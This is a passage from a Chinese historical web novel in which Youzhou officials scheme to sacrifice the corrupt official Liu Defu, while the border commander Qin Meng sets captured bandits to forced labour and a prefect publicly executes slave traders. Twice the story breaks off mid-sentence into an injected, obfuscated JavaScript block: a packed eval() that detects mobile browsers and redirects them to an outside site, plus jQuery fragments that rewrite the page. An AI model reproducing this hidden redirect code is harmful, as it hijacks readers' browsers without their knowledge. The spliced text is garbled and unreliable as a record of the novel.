在官场上,不能存有仁慈之心。
你劝说岳父于情是对的,但官场上绝对不能这样做,容易打草惊蛇。
这点你要多跟你大哥学,做到喜怒不形于色。
因为在官场上没有退路,一旦跌落,就如同摔落万丈悬崖,必将粉身碎骨,甚至祸及家眷。”
“我记住了,爹爹。”杨浩低着头,声音沙哑。
书房内陷入死寂,只有炭火偶尔爆裂的噼啪声。
“父亲,或许...或许我们可以假意应承,先稳住岳父。”杨浩谨慎地提议,“边军那边尚未有动静,估计也是在等,若我们能抢先了结此事...”
杨烁冷笑一声,起身踱到窗边,望着窗外愈下愈大的雪:“你当真以为秦猛只是个武夫?
此人能以一堡之力剿灭冷艳山,又全歼千余府兵。一个破戍堡有多少兵?据消息称敢斩杀朝廷命官,不是痴蠢之徒,就绝非等闲之辈。
刘德福为了私仇而蛊惑你,私自调兵攻杀边军,这是谋反大罪,边军帅司岂会善罢甘休?”
“你就说被蛊惑,不要牵扯其中。”
他猛然转身,眼中闪过寒光:“刘德福必须死,但不能死在杨家手上。你即刻去告诉他,杨某会竭力相助,从中调解,让他暂且安心。”
杨浩怔住:“父亲的意思是...”
“刺史大人那边,我自有说法。”杨烁嘴角勾起一抹冷笑,“刘德福这些年孝敬刺史的好处不少,如今出了事,刺史大人岂能独善其身?
同僚一场,另外几位从事必然不会见死不救。”杨烁说这句话的时候,脸上笑容格外诡异。
杨浩看得后背发凉,准备依言行事。
“回来。”杨烁立刻叫住他,沉默片刻,严厉地叮嘱:“你见到你岳父,到时你就实话实说,不要隐瞒,连我骂他的话一并说了,听见没有?”
是!
……
当杨浩再次踏入刘府时,刘德福依旧在书房内,焦躁地踱步。
“岳父大人。”杨浩躬身行礼,“父亲说,他会尽力周旋,但此事牵扯甚大,解决非是籽事。”
刘德福猛地转身,胖脸上闪过一丝希望,随即试探地问:“你父…我亲家公果真如此说?”
杨浩点头,语气平静的转述:“父亲让我转述,此事牵涉太广,需要刺史大人亲自定夺。只要刺史肯出面,你再出点钱,边军那边也好打点。”
“那就好!”刘德福长舒一口气,瘫坐在太师椅上。尽管这出点钱肯定不少,但却破财免灾。
“等等,你父亲没有说其他话?”刘德福脸色阴晴不定,死死盯着杨浩,一字一顿地说道。
“没没……”杨浩脸色一变,下意识摇头。
“哼,休要瞒我。”刘德福见女婿这样,冷笑一声:“我亲家公什么脾气,刘某多少了解一些。”
“说吧!”
杨浩被刘德福盯得浑身发毛,只能硬着头皮说道:“之前我回去转告您的话,爹爹不仅把我劈头盖脸一顿骂,还大骂混账,说这是作死。你这只老狐狸心机深沉,又狡猾歹毒。”
“哼,这怪不得我,我这样做就只能成为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418919|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棋子。”刘德福听到这些话非但没生气,反而心安不少。
但他没注意到,女婿眼中那一闪而过的愧疚。
……
幽州刺史府内,烛火摇曳,将几个晃动的人影投在冰冷的墙上。
幽州别驾从事杨烁躬身立于下首,主位之上,刺史崔文远轻抚着手中的温玉如意,面沉如水。
“这么说,刘德福这老东西,不仅事情办砸了,闹大了,还反咬一口,想要拖所有人下水?”
崔文远的声音平稳,听不出喜怒。
但熟悉他的人都知道,这往往是风暴来临前的宁静。
杨烁的额头沁出细密的汗珠,不敢抬头:“是…下官教子无方,那孽子杨浩少不更事,被蛊惑走漏风声,让刘德福察觉到了弃车保帅之意。
他声称…声称手中握有历年漕运往来、以及向草原输送物资,掳掠贩卖人口的详细账册副本,藏于隐秘之处。若他身死,那些东西便会公之于众…”
“砰!”
玉如意被扔在案上,发出一声脆响,打断了杨烁的话。
崔文远缓缓站起身,走到窗边,望着窗外愈下愈大的雪,沉默了片刻。
“刘德福…一个漕运判官,倒是小瞧了他的胆子和他那点心思。”
他冷笑一声,“秦猛…铁血军寨…边军这次,是踩着刘德福这个蠢货,把手伸到我们幽州地界来了啊。”
“刺史大人明鉴!”杨烁连忙道,“边军帅司一向对幽州财赋重的颇有微词,苦于无借口介入。
此次刘德福私自调兵攻杀边军,实乃授人以柄!
秦猛此人,勇悍异常,又立此大功,恐更得帅司赏识。
若不能妥善处置,让其借题发挥,后果不堪设想。”
“妥善处置?”崔文远转过身,目光锐利如刀,“如何处置?刘德福不能轻易灭口,秦猛又动不得。
难道真要如边军所愿,割肉饲鹰,奉上大笔钱粮抚恤,让他们名正言顺地把手**幽州城?”
书房内陷入死寂,只有炭火偶尔爆裂的噼啪声。
良久,崔文远眼中闪过一丝寒光:“刘德福不是想活吗?可以。告诉他,他的命,可以留着。
但他闯下的祸,得他自己去填。
他不是恨透了秦猛吗?本官就给他一个机会……”
他压低声音,对杨烁细细耳语一番。
杨烁越听越是心惊,脸色变幻不定,最终躬身道:“下官…明白。这就去安排。只是此事…”
“只管去做。”崔文远挥挥手,重新拿起玉如意,“幽州,还不是边军说了算。记住,要快,要在边军帅司反应过来之前,把消息送出去。
至于刘德福…事成之后,他知道太多,总归是个隐患。”
杨烁心中一凛,深深一揖:“下官,明白了!”
第104章 郡城暗流藏
幽州城因秦猛横空出世已是暗流翻涌,风声鹤唳。
前沿边塞对此却一无所知。
铁血军寨内依旧一派热火朝天之景,将士埋头苦练,民夫各司其职,步履匆匆,忙而不乱。
此前俘获的冷艳山匪众经审讯已查明:
素有打家劫舍之举,手上沾过血,却未犯下掳掠百姓、贩卖至草原为奴的重罪。罪可免死,但需服劳役以作改造,观其后效再定去留。
“恭喜各位,小命暂且保住了!此乃秦大人仁慈,尔等当记在心。”
亲兵队长王善身披亮甲,声如洪钟。
他望着被押出牢房的俘虏,待众人在空地上列队站定,便开始高声训话。
“但既往之罪不可不赎!
你们先前打家劫舍,害人性命,如今需在军寨内服劳役改造。虽无分文工钱,却保三餐管饱。
若表现出众,不仅可恢复平民身份,更能入工坊谋生,或编入军籍从军,享应得之权利!”
数十名山贼俘虏垂首而立,无人敢擅自扭头张望。
一是在牢房中已尝尽审讯之苦,连大寨主严彪都被收拾得服服帖帖、有问必答,他们这些小喽啰更不敢造次。
二是四周环伺着持刀握枪的军卒,远处更有弓箭手引弓待发,稍有异动便是死路一条。
三是他们听闻,那些被筛出的同伙下场极惨。
多重震慑之下,这群往日凶顽的匪徒,竟比山村中的朴实汉子还要安分。
见众人皆低眉顺目,临时兼任训导官的王善心中暗叹:“大人说得对,坏人都是纵容的结果。”
他继续说道:“你们虽是俘虏,却都是青壮,编为**营,属于军制,往后需接受严格的军事化管理。每日除了劳作,还得参加训练。”
他话锋一转,语气愈发严肃:“本将再次警告你们,要记清,这里是边塞军寨,规矩如铁!
一切行动听指挥,必须绝对服从命令;私下不准斗殴逞强,更严禁偷盗劫掠!谁敢触犯,必严惩不……”
“啪!”王善的话尚未说完,一阵打骂声突然从俘虏营旁传来。
“**的!还敢偷懒躲在这里?给老子起来干活!”
“今天要是修不完冰墙,老子扒了你的皮!”
只见袁飞率领一队铁甲飞虎卫,气势汹汹地冲进**房,将马六等人像拖死狗一般拽了出来。
啪啪鞭子劈头盖脸地抽在他们身上。
王善对此早已见怪不怪,只是指着挨打的马六等人,向眼前的俘虏解释:“你们看清楚了。
这群人原是幽州漕运判官刘德福的手下,因日日吵闹、拒不服从管教,咱边寨管不了。
便直接交给了飞虎卫,这就是嚣张、偷懒耍滑的下场!”
他顿了顿,又加重语气:“你们也别想着逃跑!这冰天雪地的,一旦跑出去,只会冻死饿死。”
“何况,你们再看看那边,那是军寨特有的犬兵队!”顺着王善指的方向,俘虏们转头望去。
二十余名兵卒牵着从各村坊收购来的壮硕猛犬,此刻正对着他们狂吠不止,连带着训犬的兵卒,个个披甲持锐,眼神凶狠,如临大敌。
就在这时,性格急躁的**大步走来,高声道:“王队长,别跟他们废话了,大人有令。
直接押去工地,分派队长管束,不干活就打!给他们分好组,但凡跑了一个,全组受牵连!跑试试?抓回当实验包,先吃半年酷刑再说!”
这话一出,本就心存侥幸的俘虏们顿时浑身发抖,眼中满是恐惧。
没人想再被关进地牢,承受那些非人的折磨。
“给他们挂上工牌,押去干活!”王善也不再多言,挥手下令。
士兵们立刻上前,给每个俘虏套上特制坎肩,又在脖子上系上带铁链的标牌,上面刻着各人的姓名、编号,可添加组别,队长等信息。
这批俘虏约有七十余人,秦猛特批留他们性命。
一是给曾为冷艳山二当家的韩勇一个面子,二是军寨大兴土木需要劳力,这批人正好干活。
三是为流民树立榜样——无论此前是**凶徒,还是落草流寇,只要肯来军寨、遵守规矩、踏实做事,便可既往不咎,重新做人。
更重要的是,连山贼匪徒都能得到改过自新的机会,此事若是传出去,便是秦猛仁慈的明证。
往后商队再遇山贼,提及秦猛的宽宥,或许也能多几分转圜余地。
这般一举多得的好事,秦猛自然要做。
至于那些真正犯下贩卖同胞重罪的恶人,帅司早已核验清楚,秦猛本就没打算放过他们。
留着是浪费粮食,老保长王槐此前已为此抱怨过数次。
最终,秦猛下令:将这些恶徒用绳子串绑起来,由王铁山带队,在天未亮时便押往青阳郡城。
先交由县衙定罪,再转送郡守衙门,由林安国最终发落。
比起幽州城的暗流涌动,青阳郡城其实也不太平。不过由于有边军威慑,并没有掀起波澜。
在青阳郡城中心的繁华地段,坐落着一家气派的胭脂水粉铺——“芷兰斋”。
这铺面有三间门脸,是本城最大的脂粉铺子。
芷兰斋内香味弥漫,淡淡的让人不觉得冲鼻。左边是香料,檀香、乳香、广藿香、丁香、青木香、龙脑香、鸢尾花等,种类琳琅满目。
右边是胭脂,鲜艳的面脂和口脂种类繁多,木牌上写着蜀葵花、重绛、石榴、苏方木等各种面脂。
另一边是口脂的木牌小春红、大春红、石榴娇、媚花奴十几种。
林安国接受了秦猛的好意,派了琴娘等心腹来打理铺面。
今日虽天气寒冷,但铺子里依旧不少女客往来,宾客络绎不绝,莺莺燕燕,挑选着心仪的脂粉。
时近中午,铺子里的客人少了许多,街坊婆子媳妇等,人群**,都涌向了城西的菜市场。
今天是处决冷艳山贼寇的日子。
那是晌午时分,郡守衙门突然张贴榜文通告:
幽州境内为祸多年的冷艳山寨被铁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418920|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血军寨剿灭。
连带着山寨这些年做的恶事被揭露,引起了城内百姓的轰动。
“天呐,你知道吗?冷艳山寨掳掠边民贩卖为奴?”
“可不是嘛,上次县衙好像通告此事。”
“没错,当时我还看着来着,近百个周边村民。”
“这群该死的贼人,畜生。”
“被剿灭了好,铁血军寨?果然还是边军靠谱儿。”
“听说今天中午菜市场,把那些贼人斩首示众,”
“走,咱们去看看选个好位置。”
城内大街小巷、酒楼茶室到处都是这样的议论。
天色大亮,王铁山带队押送俘虏入城,怀揣着秦猛的密信,内容是择日处决穷凶极恶者,给百姓交代,借机获取百姓爱戴,站稳脚跟。
这封密密信交给郡守林安国,这厮是个雷厉风行之辈,看过密信后,当天就要咔嚓掉俘虏。
这突然的消息直接引起全城轰动!
菜市场外,临时搭起的刑台上,跪着数十个衣衫褴褛、五花大绑的汉子。一个个面如死灰,有的甚至瘫软在地,需要兵士架着,一字排开。
四周人山人海,百姓们争相目睹这些恶贯满盈的匪徒的下场。
硬石块、烂菜叶不时从人群中飞出,砸在这些囚犯的身上、脸上。
监斩台上,郡守林安国正襟危坐,面色肃穆。他看着台下群情激愤的百姓,心中明了秦猛此举的深意。
这不仅是为民除害,更是帮他这位郡守立威,巩固地位。
午时三刻一到,林安国重重掷下火签令箭。
“时辰到!斩!”
刽子手手起刀落,鲜血染红了刑台。
好,杀得好!人群中爆发出震天的喝彩声,多年积压的恐惧和怨恨,在这一刻得到了宣泄。
林安国清晰地看到,人群中本地乡绅豪强的脸色白了几分,不少人下意识地缩了缩脖子。
数十颗人头滚滚落下,这个震慑效果立竿见影。
此前还在观望、找借口拖延的城内乡绅豪强。次日便纷纷主动到郡衙交纳赋税,再无一人敢拖延推诿。
他们亲眼见识了这位林郡守背后的铁血手腕,以及边军的强力支持。违反法律,风险太大。
往来的商队也更加守规矩,在城内不敢私下械斗。
城内“福瑞”当铺的后堂,一个戴着毡帽的商人,正对当铺掌柜低语:“…告诉东家,青阳郡守与边军走得近,此人非是那种文弱书生。
据了解的信息,朝堂中必定有人。
那铁血军寨知寨官秦猛势头正盛,公然斩杀朝廷命官,胆子极大,莽夫作派,绝非善类。边境不稳,与草原买卖这条路得选择他处。”
“此事我会如实禀报。”掌柜默默点头,递过一个沉甸甸的钱袋。“这是本月份例,路上小心。”
商人接过,压了压帽檐,悄然融入门外的人流之中。
幽州的雪,依旧在下。
哪怕是在郡城,也掩盖了更多的秘密和涌动的不祥暗流。